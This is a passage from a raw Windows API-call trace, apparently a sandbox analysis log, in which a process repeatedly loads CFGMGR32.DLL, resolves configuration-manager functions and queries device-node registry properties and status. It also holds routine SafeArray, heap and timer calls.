pulLength=0x67117d608) returned 0x0 [0221.875] free (_Block=0x196ef0f9ca0) [0221.875] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0221.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6519985a, dwHighDateTime=0x1d9eb0c)) [0221.876] SetEvent (hEvent=0x248) returned 1 [0221.960] malloc (_Size=0x18) returned 0x196ef0d1d60 [0221.960] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0221.960] free (_Block=0x196ef0d1d60) [0221.961] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee854f60 [0221.961] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0221.961] SafeArrayGetLBound (in: psa=0x196ef1f2930, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0221.961] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0221.961] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0221.961] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0221.961] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0221.961] SafeArrayGetElemsize (psa=0x196ef1f2930) returned 0x8 [0221.961] SafeArrayGetElement (in: psa=0x196ef1f2930, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0221.962] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.962] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0221.962] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee854f60) returned 1 [0221.963] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.963] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.963] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.964] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.965] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.966] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.966] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.967] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0221.967] malloc (_Size=0x48) returned 0x196ef0fbae0 [0221.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6527e5d4, dwHighDateTime=0x1d9eb0c)) [0221.967] SetEvent (hEvent=0x248) returned 1 [0221.970] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.970] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.970] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.971] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.972] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.973] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.973] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0221.973] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.977] malloc (_Size=0x48) returned 0x196ef0fb450 [0221.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x652ac420, dwHighDateTime=0x1d9eb0c)) [0221.977] SetEvent (hEvent=0x248) returned 1 [0221.980] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.980] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.981] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.982] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.983] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.984] malloc (_Size=0x18) returned 0x196ef0d1e60 [0221.984] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.984] malloc (_Size=0x48) returned 0x196ef0fc030 [0221.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x652ac420, dwHighDateTime=0x1d9eb0c)) [0221.984] SetEvent (hEvent=0x248) returned 1 [0221.987] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.987] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.991] malloc (_Size=0x18) returned 0x196ef0d2020 [0221.991] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.991] malloc (_Size=0x48) returned 0x196ef0fba40 [0221.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x652caa69, dwHighDateTime=0x1d9eb0c)) [0221.991] SetEvent (hEvent=0x248) returned 1 [0221.994] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.994] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.995] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.996] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.998] malloc (_Size=0x18) returned 0x196ef0d1d00 [0221.998] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.998] malloc (_Size=0x48) returned 0x196ef0fb950 [0221.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x652caa69, dwHighDateTime=0x1d9eb0c)) [0221.998] SetEvent (hEvent=0x248) returned 1 [0222.004] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.004] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.004] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.005] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.006] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.007] malloc (_Size=0x18) returned 0x196ef0d1c40 [0222.007] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0222.100] malloc (_Size=0x48) returned 0x196ef0fb680 [0222.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x653d6505, dwHighDateTime=0x1d9eb0c)) [0222.101] SetEvent (hEvent=0x248) returned 1 [0222.104] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.104] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.105] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0222.108] malloc (_Size=0x18) returned 0x196ef0d1d00 [0222.108] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1a, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0222.108] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0222.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x653d6505, dwHighDateTime=0x1d9eb0c)) [0222.108] SetEvent (hEvent=0x248) returned 1 [0222.113] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0222.113] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0222.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0222.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0222.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0222.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0222.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0222.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0222.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0222.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0222.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0222.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0222.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0222.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0222.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0222.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0222.117] GetProcAddress 